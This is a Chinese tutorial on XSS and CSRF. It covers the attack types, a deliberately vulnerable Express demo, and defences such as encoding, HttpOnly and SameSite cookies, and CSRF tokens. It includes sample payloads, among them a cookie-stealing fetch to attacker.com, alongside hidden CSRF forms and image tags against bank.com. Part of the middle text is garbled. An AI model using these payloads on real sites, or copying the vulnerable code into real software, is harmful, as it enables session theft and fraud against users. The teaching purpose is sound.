1. 项目概述:Web安全的两大“常客”
在Web开发与安全领域,有两个名字几乎是所有从业者绕不开的“老朋友”——XSS(跨站脚本攻击)和CSRF(跨站请求伪造)。它们不像某些复杂的零日漏洞那样神秘莫测,却因其普遍性和破坏性,常年稳居OWASP Top 10榜单。我见过太多项目,功能做得花里胡哨,却在安全审计时被这两个基础问题“一票否决”。简单来说,XSS是“坏人把恶意代码塞进了你的网站”,而CSRF是“坏人冒充你的用户去操作你的网站”。理解它们,不仅是安全工程师的必修课,更是每一位后端、前端甚至全栈开发者必须掌握的基本功。这篇文章,我将结合自己多年在渗透测试和代码审计中遇到的实际案例,为你彻底拆解这两种攻击的原理、手法、危害以及最接地气的防御方案。无论你是刚入门的安全新人,还是想巩固知识体系的资深开发,都能从中找到可直接复现的实操细节和避坑指南。
2. XSS攻击深度解析:当你的网站“说”了不该说的话
XSS,全称Cross-Site Scripting,中文名“跨站脚本攻击”。这个名字起得很有意思,它本质上是一种“代码注入”攻击,攻击者的目标是在你的网站上,让用户的浏览器执行他精心构造的恶意脚本。你可以把它想象成,攻击者在你网站的留言板上,不是写了一句“你好”,而是写了一段“魔术咒语”。当其他用户浏览这条留言时,这段“咒语”就会在他们的浏览器里自动生效。
2.1 XSS攻击的三大类型与运作机理
根据恶意脚本的“存储”和“触发”位置不同,XSS主要分为三类:反射型、存储型和DOM型。理解它们的区别,是精准防御的第一步。
反射型XSS(Reflected XSS)这是最常见也最“经典”的一种。攻击过程通常是这样:攻击者构造一个含有恶意脚本的URL,然后通过社交工程(比如钓鱼邮件、论坛私信)诱骗用户点击。用户点击后,浏览器向目标网站发起请求,这个恶意脚本作为请求参数(比如查询字符串?q=<script>alert(1)</script>)被发送到服务器。服务器在未加过滤的情况下,直接将这个参数内容拼接进返回的HTML页面中,并返回给浏览器。浏览器接收到响应后,看到页面中包含<script>alert(1)</script>,便将其作为正常的HTML脚本执行了。
关键特征:恶意脚本“反射”自用户的请求,并未在服务器持久化存储。它像一次性的“钓鱼钩”,需要诱骗用户主动触发。常见的场景是搜索框、错误信息页面,这些地方常常会将用户输入的内容直接回显。
存储型XSS(Stored XSS / Persistent XSS)这是危害最大的一种。攻击者将恶意脚本直接“存储”在目标网站的服务器上,比如数据库、文件系统或内存缓存中。当其他用户访问某个会读取并展示这些存储数据的页面时(如论坛帖子、用户评论、个人资料昵称),恶意脚本就会从服务器加载到页面中并执行。
关键特征:恶意脚本被持久化存储在服务器端,所有访问特定页面的用户都会中招,影响范围极广。2015年喜马拉雅存储型XSS漏洞就是一个典型案例,攻击者将专辑名称设置为JavaScript代码,任何用户访问该专辑页面都会执行恶意代码,导致Cookie被盗。
DOM型XSS(DOM-based XSS)这是一种比较“现代”的XSS,其特殊性在于,整个攻击过程不经过服务器。恶意脚本的注入和触发,完全发生在客户端的浏览器环境中,通过JavaScript操作DOM(文档对象模型)来实现。
攻击流程通常是:用户访问一个看似正常的页面,该页面中的JavaScript代码(可能是原本就有的,也可能是攻击者注入的)会从URL的片段标识符(#后面的部分)、或本地存储(LocalStorage)等位置读取数据,然后使用innerHTML、document.write等不安全的方法,将这些数据动态写入到DOM中。如果这些数据包含恶意脚本,就会被执行。
例如,一个页面有如下代码:
var hash = window.location.hash.substring(1); document.getElementById('content').innerHTML = 'Welcome, ' + hash;如果用户访问的URL是http://example.com/page.html#<img src=x onerror=alert(1)>,那么hash的值就是恶意字符串,并通过innerHTML插入页面,导致onerror事件触发。
关键特征:服务器返回的响应是“干净”的,漏洞源于前端JavaScript对不可信数据的不安全处理。这使得传统的服务端过滤手段可能失效,防御重心需要转移到客户端。
2.2 实战复现:亲手触发一次反射型XSS
理论说再多,不如亲手试一次。我们用一个最简单的Node.js + Express环境来模拟反射型XSS。
环境搭建:
- 初始化项目并安装依赖:
mkdir xss-demo && cd xss-demo npm init -y npm install express - 创建
app.js:const express = require('express'); const app = express(); const port = 3000; // 设置模板引擎(这里用简单的字符串拼接模拟) app.get('/', (req, res) => { const userInput = req.query.search || ''; // 获取用户搜索词 // 危险操作:直接将用户输入拼接进HTML响应 const html = ` <!DOCTYPE html> <html> <head><title>搜索页面</title></head> <body> <h1>搜索演示</h1> <form> <input type="text" name="search" placeholder="输入搜索内容"> <button type="submit">搜索</button> </form> <hr> <p>您搜索的内容是:${userInput}</p> <!-- 漏洞点! --> </body> </html> `; res.send(html); }); app.listen(port, () => { console.log(`漏洞演示服务器运行在 http://localhost:${port}`); }); - 运行服务器:
node app.js
攻击演示:访问http://localhost:3000/,在搜索框输入正常内容如“hello”,页面会正常显示“您搜索的内容是:hello”。 现在,构造一个恶意链接:http://localhost:3000/?search=<script>alert('XSS攻击成功!')</script>将这个链接发送给受害者(或自己在新标签页打开)。页面加载后,不仅会显示搜索内容,还会弹出一个警告框。这就完成了一次最简单的反射型XSS攻击。在实际攻击中,alert会被替换成窃取Cookie的脚本,例如:
<script>fetch('https://attacker.com/steal?cookie=' + document.cookie);</script>实操心得:这个演示的关键在于服务端毫无过滤地使用了
${userInput}进行字符串模板拼接。在真实项目中,任何将用户可控数据输出到HTML上下文的地方,都是潜在的XSS漏洞点,包括HTML标签内、属性值、JavaScript代码段、CSS样式甚至URL中。
3. CSRF攻击深度解析:冒充你的用户“点头同意”
如果说XSS是让网站“说坏话”,那么CSRF(Cross-Site Request Forgery,跨站请求伪造)就是让用户在不知情的情况下“办坏事”。攻击者盗用用户的身份,以用户的名义发送恶意请求。由于请求完全由用户的浏览器发出,并自动携带了用户的登录凭证(如Cookie、Session),服务器会认为这是用户的合法操作。
3.1 CSRF的攻击原理与经典场景
理解CSRF,核心在于理解浏览器的“同源策略”与“Cookie发送机制”。同源策略限制了不同源站点间的脚本互操作,但它不阻止浏览器向不同源的服务器发送请求。例如,你登录了银行网站bank.com,Cookie保存在浏览器中。此时,你不小心访问了恶意网站evil.com。evil.com的页面中包含一个隐藏的表单或图片,其src指向bank.com/transfer?to=hacker&amount=10000。浏览器在加载evil.com时,会向bank.com发起这个转账请求,并且会自动带上bank.com的Cookie。服务器看到带有正确Cookie的请求,便认为是用户本人操作的,从而完成转账。
攻击的必要条件:
- 用户已登录目标网站(A站),并且会话未过期。
- 用户在A站登录状态下,访问了攻击者控制的第三方网站(B站)。
- A站存在CSRF漏洞,即其关键操作(如修改密码、转账、发帖)的请求容易被伪造,且未进行有效的来源验证。
3.2 三种常见的CSRF攻击载体
攻击者通常利用以下HTML元素或方式在第三方站点发起伪造请求:
1. 自动发起GET请求利用<img>、<script>、<link>、<iframe>等标签的src或href属性,浏览器在加载这些资源时会自动发起GET请求。
<!-- 在evil.com的页面中 --> <img src="http://bank.com/transfer?to=hacker&amount=1000000" width="0" height="0" />当用户访问该页面,一张看不见的图片就会触发转账请求。
2. 自动提交POST表单对于需要POST请求的操作,攻击者可以构造一个隐藏的<form>,并用JavaScript自动提交。
<body onload="document.forms[0].submit()"> <form action="http://bank.com/change-email" method="POST"> <input type="hidden" name="email" value="hacker@evil.com" /> </form> </body>页面加载完成后,表单会自动提交,将用户的绑定邮箱修改为攻击者的邮箱。
3. 诱导用户点击链接(GET请求变种)将恶意请求伪装成普通链接、图片按钮等,诱骗用户点击。
<a href="http://bank.com/logout">点击领取红包!</a> <!-- 实际上是一个退出登录的链接 -->注意事项:CSRF攻击与XSS有本质区别。CSRF攻击者无法直接获取用户的页面数据或Cookie(除非同时存在XSS漏洞),它只是“借用”了用户的身份和权限。防御CSRF的核心思路是“让请求不可伪造”,而不是“保护数据不被窃取”。
4. 构建防线:XSS攻击的实战防御策略
知道了攻击怎么来,我们就要筑起城墙。防御XSS是一个系统工程,需要在数据输入、输出、传输等多个环节布防。
4.1 服务器端输入过滤与输出编码(治本之策)
这是防御存储型和反射型XSS最根本的手段。原则是:对一切不可信的数据进行严格的输出编码/转义。
输出编码:根据上下文选择编码器“编码”的意思是,将危险字符(如<,>,&,",')转换成对应的HTML实体(如<,>,&,",'),使浏览器将其解释为普通文本,而非代码。
HTML正文上下文:使用HTML实体编码。
- 错误:
<div>${userContent}</div> - 正确:使用类似
_.escape(userContent)(Lodash库)或框架内置的自动转义功能。在Express中,EJS模板使用<%= %>会自动转义,而<%- %>不会,需谨慎。
- 错误:
HTML属性上下文:同样使用HTML实体编码,并始终用引号包裹属性值。
- 错误:
<input value=${userInput}> - 正确:
<input value="${_.escape(userInput)}">
- 错误:
JavaScript上下文:这非常危险且复杂。绝对不要简单地将用户输入拼接进
<script>标签或事件处理器(如onclick)。- 错误:
<script>var data = "${userData}";</script>(如果userData是";alert(1);//,就会闭合字符串执行代码) - 正确:将数据放在HTML的
>Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict这样,即使网站存在XSS漏洞,
document.cookie也无法读取到标记为HttpOnly的Cookie,攻击者就无法直接盗用会话。注意:这只能防御Cookie窃取,不能阻止攻击者利用现有会话发起CSRF攻击或进行其他操作。5. 筑牢堤坝:CSRF攻击的实战防御策略
防御CSRF的核心思想是增加攻击者无法伪造的“凭证”,让服务器能区分请求是来自用户本意还是第三方伪造。
5.1 利用SameSite Cookie属性
SameSite是Cookie的一个属性,用于控制Cookie在跨站请求时是否被发送。它有三个值:Strict:严格模式。浏览器在任何跨站请求中都不会发送此Cookie。即使用户从mail.com点击链接跳转到bank.com,bank.com的StrictCookie也不会被发送。这提供了最强的CSRF防护,但可能影响用户体验(比如从邮件链接跳转后需要重新登录)。Lax(默认值):宽松模式。在跨站的顶级导航(如点击链接)且是安全方法(GET)的请求中会发送Cookie。对于POST请求、<img>、<iframe>、AJAX等发起的跨站请求,则不发送Cookie。这在安全性和可用性间取得了良好平衡。None:关闭SameSite限制,Cookie会在所有上下文中发送。必须与Secure属性一同使用(即仅限HTTPS)。
设置方法:
Set-Cookie: session=value; Path=/; Secure; HttpOnly; SameSite=Lax将关键会话Cookie的
SameSite设置为Lax或Strict,可以自动拦截绝大多数由<img>、<form>等标签发起的CSRF攻击。5.2 验证请求来源:Referer与Origin头
服务器可以检查HTTP请求头中的
Referer或Origin字段,来判断请求是否来自合法的源站。Referer:包含了发起请求的页面的完整URL。但注意,Referer可能被浏览器隐私设置、HTTPS到HTTP的跳转等因素屏蔽或修改,且可能泄露路径等敏感信息。Origin:主要用于跨域请求(CORS),它只包含协议、域名和端口,不包含路径,隐私性更好。对于同源请求,浏览器通常不发送Origin头。
防御逻辑:
// 中间件示例 (Node.js/Express) function checkCsrfByOrigin(req, res, next) { const origin = req.get('Origin') || req.get('Referer'); if (!origin) { // 某些直接请求可能没有Origin/Referer,需结合其他验证(如Token) return next(); } const allowedOrigins = ['https://your-trusted-site.com', 'https://your-app.com']; const originHostname = new URL(origin).hostname; if (allowedOrigins.some(allowed => originHostname === new URL(allowed).hostname)) { next(); // 来源合法 } else { res.status(403).send('Invalid request origin'); } }注意:此方法并非绝对可靠,因为
Referer头可能被篡改或缺失。通常作为CSRF Token等主要防御机制的补充。5.3 CSRF Token:最可靠的同步令牌模式
这是目前公认最有效的CSRF防御手段。原理是:服务器为每个用户会话生成一个随机、不可预测的令牌(Token),在渲染表单或页面时将其嵌入(如隐藏域
<input type="hidden" name="_csrf" value="token-value">)。当用户提交表单时,必须将这个令牌一并提交。服务器收到请求后,验证提交的令牌是否与会话中存储的令牌一致。实现步骤:
- 生成并存储Token:用户访问包含表单的页面时,服务器生成一个强随机数(如UUID),存储在用户的Session或加密的Cookie中,同时将其输出到页面表单里。
// 生成Token const crypto = require('crypto'); const generateCsrfToken = () => crypto.randomBytes(32).toString('hex'); // 中间件:为每个请求附加CSRF Token(如果Session中存在) app.use((req, res, next) => { if (!req.session.csrfToken) { req.session.csrfToken = generateCsrfToken(); } res.locals.csrfToken = req.session.csrfToken; // 供模板使用 next(); }); - 在表单中嵌入Token:
对于AJAX请求,可以将Token放在请求头中,例如<!-- 在模板中(如EJS) --> <form action="/change-password" method="POST"> <input type="hidden" name="_csrf" value="<%= csrfToken %>"> <!-- 其他表单字段 --> <input type="password" name="newPassword"> <button type="submit">修改密码</button> </form>X-CSRF-Token。 - 服务器端验证Token:
// 验证中间件 const validateCsrfToken = (req, res, next) => { const clientToken = req.body._csrf || req.headers['x-csrf-token']; const serverToken = req.session.csrfToken; if (!clientToken || !serverToken || clientToken !== serverToken) { return res.status(403).send('Invalid CSRF token'); } // 验证通过后,可以更新Token(一次性Token更安全) // req.session.csrfToken = generateCsrfToken(); next(); }; app.post('/change-password', validateCsrfToken, (req, res) => { // 处理修改密码逻辑 });
为什么CSRF Token有效?因为攻击者无法预先知道或读取到用户当前会话的Token值(得益于同源策略),所以他构造的恶意请求中无法包含正确的Token,服务器验证就会失败。
6. 进阶实战与深度排查:从靶场到真实场景
理解了原理和基础防御后,我们需要在更复杂的环境下演练。DVWA(Damn Vulnerable Web Application)和Pikachu这类漏洞靶场是绝佳的练习平台。
6.1 靶场通关精要:DVWA与Pikachu中的XSS/CSRF
以DVWA的CSRF模块为例,其Low、Medium、High级别完美展示了防御的演进:
- Low级别:毫无防护。密码修改请求只是一个简单的GET请求,如
/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change。攻击者只需诱使用户访问此链接即可完成攻击。 - Medium级别:尝试验证
HTTP_REFERER头。如果请求不是来自本站,则拒绝。但攻击者可以构造一个页面,先通过JavaScript跳转到目标页面(window.location),此时Referer是攻击者页面,但紧随其后的请求Referer可能就是目标站点了(取决于浏览器实现),或者攻击者可以设法让Referer为空或可控。 - High级别:使用了CSRF Token。这是最可靠的防御。攻击者无法获取Token,因此无法构造有效请求。
实操心得:在攻击靶场时,不要只满足于完成挑战。更重要的是,切换到防御视角,查看每一关的源代码,理解其漏洞成因和防御逻辑。尝试思考:如果我是开发者,Medium级别的
Referer检查有哪些绕过方式?High级别的Token是如何生成、传递和验证的?6.2 前端框架与现代化防御
在现代前端开发中,框架和库提供了很多开箱即用的安全辅助。
- React/Vue/Angular:默认会对渲染到模板中的数据进行转义,这在一定程度上防护了XSS。但使用
dangerouslySetInnerHTML(React)或v-html(Vue)时仍需极度谨慎。 - axios/fetch:在发送AJAX请求时,可以配置全局拦截器,自动为每个非幂等请求(POST, PUT, DELETE等)添加CSRF Token头。
// axios 示例 import axios from 'axios'; const token = document.querySelector('meta[name="csrf-token"]').getAttribute('content'); axios.defaults.headers.common['X-CSRF-Token'] = token; - Spring Security:Java后端框架提供了强大的CSRF防护,默认开启。它会自动生成和验证Token,前端只需要在表单或元标签中获取即可。
- Django:同样内置了CSRF中间件,使用
{% csrf_token %}模板标签即可轻松集成。
6.3 常见问题排查与应急响应
即使做了防护,也可能因为配置不当或新功能引入而产生漏洞。以下是一些排查思路:
1. XSS漏洞排查清单:
- 输入点:所有用户可控的输入(URL参数、表单、Cookie、HTTP头、第三方API返回数据)。
- 输出点:所有将数据输出到HTML、JavaScript、CSS、URL的地方。
- 上下文:数据输出到了哪个上下文?是否正确使用了对应的编码函数?
- 富文本编辑器:是否使用了安全的HTML净化库(如
DOMPurify、js-xss)?白名单配置是否过宽? - CSP配置:是否过于宽松?是否使用了
unsafe-inline或unsafe-eval?
2. CSRF漏洞排查清单:
- 关键操作:所有会改变服务器状态的操作(登录、注销、修改、删除、支付等)。
- 请求方法:是否使用了安全的幂等方法(GET用于获取,POST/PUT/DELETE用于修改)?是否错误地用GET实现修改操作?
- Cookie配置:会话Cookie是否设置了
SameSite=Lax/Strict和HttpOnly? - Token验证:CSRF Token是否足够随机?是否与用户会话绑定?是否在每个需要防护的表单/AJAX请求中都包含并验证?
- 第三方集成:API接口是否也需要CSRF防护?对于无状态的JWT认证,CSRF风险较低,但需注意刷新令牌的端点。
3. 漏洞应急响应:一旦发现漏洞,应立即:
- 评估影响:确定漏洞类型、影响范围、可能被利用的数据。
- 临时修复:如紧急上线WAF规则、禁用相关功能、在负载均衡层添加过滤。
- 根因修复:根据上述排查清单,定位代码中的漏洞点,实施正确的编码或配置修复。
- 安全复盘:漏洞是如何引入的?代码审查、安全测试流程是否存在盲区?如何避免再次发生?
Web安全是一场攻防的持久战。XSS和CSRF作为最基础的两种攻击方式,其防御理念却贯穿了整个应用安全体系:对输入输出保持警惕、实施最小权限原则、不信任任何客户端提交的数据。将这些原则内化为开发习惯,结合成熟的框架和工具,才能构建出真正坚固的应用防线。在实际项目中,我习惯在项目初期就将CSP头、CSRF Token中间件、安全的Cookie配置作为基础脚手架的一部分,并在代码审查中特别关注数据流和上下文编码,这比事后修补要有效得多。
- 错误: